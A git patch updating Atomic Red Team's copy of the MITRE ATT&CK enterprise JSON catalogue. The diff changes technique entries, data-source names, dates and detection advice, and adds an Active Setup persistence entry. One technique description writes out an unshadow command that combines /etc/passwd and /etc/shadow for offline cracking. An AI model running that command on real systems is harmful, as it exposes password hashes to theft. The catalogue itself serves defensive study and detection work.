From 41d83e93f1ea72f8ddd73f0925d2ea0a45044ad5 Mon Sep 17 00:00:00 2001 From: Will Urbanski Date: Thu, 20 May 2021 12:29:56 -0600 Subject: [PATCH] update enterprise att&ck and build docs --- atomic_red_team/enterprise-attack.json | 66715 +++++++++++++++++++---- atomics/T1053.007/T1053.007.md | 75 + atomics/T1053.007/T1053.007.yaml | 2 +- atomics/T1552.007/T1552.007.md | 40 + atomics/T1609/T1609.md | 46 + 5 files changed, 55755 insertions(+), 11123 deletions(-) create mode 100644 atomics/T1053.007/T1053.007.md create mode 100644 atomics/T1552.007/T1552.007.md create mode 100644 atomics/T1609/T1609.md diff --git a/atomic_red_team/enterprise-attack.json b/atomic_red_team/enterprise-attack.json index b23978c1..8c92d4c7 100644 --- a/atomic_red_team/enterprise-attack.json +++ b/atomic_red_team/enterprise-attack.json @@ -1,80 +1,25 @@ { "type": "bundle", - "id": "bundle--ad5f3bce-004b-417e-899d-392f8591ab55", + "id": "bundle--696d2fed-13d8-475a-8d51-23e1033a92e1", "spec_version": "2.0", "objects": [ { - "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", - "name": ".bash_profile and .bashrc", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1156", - "url": "https://attack.mitre.org/techniques/T1156" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", - "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", - "source_name": "amnesia malware" - } - ], - "revoked": true, - "type": "attack-pattern", - "modified": "2020-01-24T14:14:05.452Z", - "created": "2017-12-14T16:46:06.044Z" - }, - { - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.004", - "url": "https://attack.mitre.org/techniques/T1546/004" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", - "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", - "source_name": "amnesia malware" - } - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": ".bash_profile and .bashrc", - "description": "Adversaries may establish persistence by executing malicious content triggered by a user\u2019s shell. ~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly.\n\n~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.\n\nThe macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nAdversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware)", - "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", - "type": "attack-pattern", + "created": "2020-02-11T18:46:56.263Z", + "modified": "2020-03-20T15:56:55.022Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" + "phase_name": "credential-access" } ], - "modified": "2020-03-24T16:28:04.990Z", - "created": "2020-01-24T14:13:45.936Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_permissions_required": [ - "User", - "Administrator" + "type": "attack-pattern", + "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", + "description": "Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n", + "name": "/etc/passwd and /etc/shadow", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_detection": "While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.", - "x_mitre_data_sources": [ - "Process use of network", - "Process command-line parameters", - "Process monitoring", - "File monitoring" - ], - "x_mitre_platforms": [ - "Linux", - "macOS" - ] - }, - { "external_references": [ { "url": "https://attack.mitre.org/techniques/T1003/008", @@ -92,30 +37,18 @@ "source_name": "nixCraft - John the Ripper" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "Linux" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "/etc/passwd and /etc/shadow", - "description": "Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n", - "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - } - ], - "modified": "2020-03-20T15:56:55.022Z", - "created": "2020-02-11T18:46:56.263Z", - "x_mitre_detection": "The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.", + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", "x_mitre_permissions_required": [ "root" ], - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_platforms": [ - "Linux" + "x_mitre_detection": "The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.", + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access" ] }, { @@ -138,7 +71,7 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "object_marking_refs": [ @@ -159,7 +92,7 @@ "phase_name": "collection" } ], - "modified": "2020-10-16T15:22:11.604Z", + "modified": "2021-04-21T16:41:35.256Z", "created": "2020-10-15T12:05:58.755Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -168,8 +101,8 @@ ], "x_mitre_detection": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.", "x_mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow" + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_contributors": [ "Jon Sternstein, Stern Security" @@ -249,8 +182,7 @@ ], "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)", "x_mitre_data_sources": [ - "Windows event logs", - "Authentication logs" + "Active Directory: Active Directory Credential Request" ], "x_mitre_contributors": [ "James Dunn, @jamdunnDFW, EY", @@ -291,11 +223,13 @@ "modified": "2020-07-22T21:36:52.825Z", "created": "2020-01-30T13:58:14.373Z", "x_mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process command-line parameters", - "API monitoring", - "Process monitoring" + "Process: Process Metadata", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Metadata", + "File: File Modification", + "Process: OS API Execution" ], "x_mitre_permissions_required": [ "Administrator", @@ -371,7 +305,7 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-04-16T19:37:02.355Z", + "modified": "2021-04-24T13:40:52.952Z", "created": "2017-12-14T16:46:06.044Z", "x_mitre_defense_bypassed": [ "Windows User Account Control", @@ -389,12 +323,12 @@ "Jared Atkinson, @jaredcatkinson" ], "x_mitre_data_sources": [ - "Authentication logs", - "Windows event logs", - "API monitoring", - "Access tokens", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Process: Process Metadata", + "Process: OS API Execution", + "User Account: User Account Metadata", + "Active Directory: Active Directory Object Modification", + "Command: Command Execution" ], "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.", "x_mitre_permissions_required": [ @@ -506,10 +440,11 @@ ], "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring", - "Windows Registry" + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Creation", + "File: File Modification" ], "x_mitre_contributors": [ "Paul Speulstra, AECOM Global Security Operations Center" @@ -519,6 +454,22 @@ ] }, { + "created": "2019-10-09T18:48:31.906Z", + "modified": "2020-07-14T19:15:29.911Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)", + "name": "Account Access Removal", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "url": "https://attack.mitre.org/techniques/T1531", @@ -536,27 +487,15 @@ "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Account Access Removal", - "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)", - "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "impact" - } - ], - "modified": "2020-07-14T19:15:29.911Z", - "created": "2019-10-09T18:48:31.906Z", - "x_mitre_is_subtechnique": false, - "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", - "x_mitre_version": "1.0", - "x_mitre_impact_type": [ - "Availability" + "x_mitre_data_sources": [ + "User Account: User Account Deletion", + "User Account: User Account Modification", + "Active Directory: Active Directory Object Modification" ], "x_mitre_permissions_required": [ "User", @@ -564,16 +503,12 @@ "root", "SYSTEM" ], - "x_mitre_data_sources": [ - "Windows event logs", - "Process command-line parameters", - "Process monitoring" + "x_mitre_impact_type": [ + "Availability" ], - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] + "x_mitre_version": "1.0", + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", + "x_mitre_is_subtechnique": false }, { "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", @@ -590,6 +525,11 @@ "external_id": "CAPEC-575", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/575.html" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020." } ], "object_marking_refs": [ @@ -602,36 +542,35 @@ "phase_name": "discovery" } ], - "modified": "2020-09-16T15:10:18.260Z", + "modified": "2021-04-14T12:26:11.595Z", "created": "2017-05-31T21:31:06.988Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "Office 365", - "Azure AD", - "AWS", - "GCP", - "Azure", - "SaaS" + "Google Workspace" ], "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_data_sources": [ - "Azure activity logs", - "Office 365 account logs", - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "User Account: User Account Metadata", + "Command: Command Execution", + "Process: Process Creation", + "File: File Access" ], "x_mitre_contributors": [ + "Daniel Stepanic, Elastic", "Microsoft Threat Intelligence Center (MSTIC)", "Travis Smith, Tripwire" ], - "x_mitre_version": "2.2" + "x_mitre_version": "2.3" }, { "object_marking_refs": [ @@ -675,29 +614,32 @@ "phase_name": "persistence" } ], - "modified": "2020-10-05T16:43:29.473Z", + "modified": "2021-04-20T16:21:28.502Z", "created": "2017-05-31T21:31:12.196Z", "x_mitre_is_subtechnique": false, - "x_mitre_version": "2.1", + "x_mitre_version": "2.2", "x_mitre_contributors": [ "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", "Praetorian", "Tim MalcomVetter" ], "x_mitre_data_sources": [ - "Authentication logs", - "Windows event logs" + "File: File Modification", + "Command: Command Execution", + "Process: Process Creation", + "Group: Group Modification", + "User Account: User Account Modification", + "Active Directory: Active Directory Object Modification" ], "x_mitre_detection": "Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.", "x_mitre_platforms": [ "Windows", - "Office 365", - "Azure", - "GCP", "Azure AD", - "AWS", + "Office 365", + "IaaS", "Linux", - "macOS" + "macOS", + "Google Workspace" ] }, { @@ -718,7 +660,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Acquire Infrastructure", - "description": "Before compromising a victim, adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", + "description": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", "type": "attack-pattern", "kill_chain_phases": [ @@ -727,7 +669,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T17:59:17.606Z", + "modified": "2021-04-15T02:53:19.397Z", "created": "2020-09-30T16:37:40.271Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": false, @@ -738,7 +680,7 @@ }, { "id": "attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b", - "description": "Before compromising a victim, adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "name": "Active Scanning", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -768,7 +710,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:06:50.402Z", + "modified": "2021-04-15T03:20:09.600Z", "created": "2020-10-02T16:53:16.526Z", "x_mitre_platforms": [ "PRE" @@ -777,8 +719,90 @@ "x_mitre_version": "1.0", "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_data_sources": [ - "Packet capture", - "Network device logs" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ] + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1547.014", + "url": "https://attack.mitre.org/techniques/T1547/014" + }, + { + "source_name": "Klein Active Setup 2010", + "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/", + "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020." + }, + { + "source_name": "Mandiant Glyer APT 2010", + "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf", + "description": "Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020." + }, + { + "source_name": "Citizenlab Packrat 2015", + "url": "https://citizenlab.ca/2015/12/packrat-report/", + "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020." + }, + { + "source_name": "FireEye CFR Watering Hole 2012", + "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020." + }, + { + "source_name": "SECURELIST Bright Star 2015", + "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/", + "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020." + }, + { + "source_name": "paloalto Tropic Trooper 2016", + "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", + "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "source_name": "TechNet Autoruns" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Active Setup", + "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "modified": "2021-03-05T22:36:37.414Z", + "created": "2020-12-18T16:33:13.098Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_detection": "Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_contributors": [ + "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)" + ], + "x_mitre_platforms": [ + "Windows" ] }, { @@ -822,7 +846,7 @@ ], "x_mitre_detection": "Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ", "x_mitre_data_sources": [ - "Office 365 audit logs" + "User Account: User Account Modification" ], "x_mitre_contributors": [ "Microsoft Threat Intelligence Center (MSTIC)" @@ -883,10 +907,12 @@ ], "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior", "x_mitre_data_sources": [ - "Process command-line parameters", - "File monitoring", - "Windows Registry", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification" ], "x_mitre_platforms": [ "Windows", @@ -901,9 +927,9 @@ "url": "https://attack.mitre.org/techniques/T1098/001" }, { - "source_name": "Create Azure Service Principal", - "url": "https://docs.microsoft.com/en-us/cli/azure/create-an-azure-service-principal-azure-cli?toc=%2Fazure%2Fazure-resource-manager%2Ftoc.json&view=azure-cli-latest", - "description": "Microsoft. (2020, January 8). Create an Azure service principal with Azure CLI. Retrieved January 19, 2020." + "source_name": "Microsoft SolarWinds Customer Guidance", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020." }, { "source_name": "Blue Cloud of Death", @@ -915,11 +941,6 @@ "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815", "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming 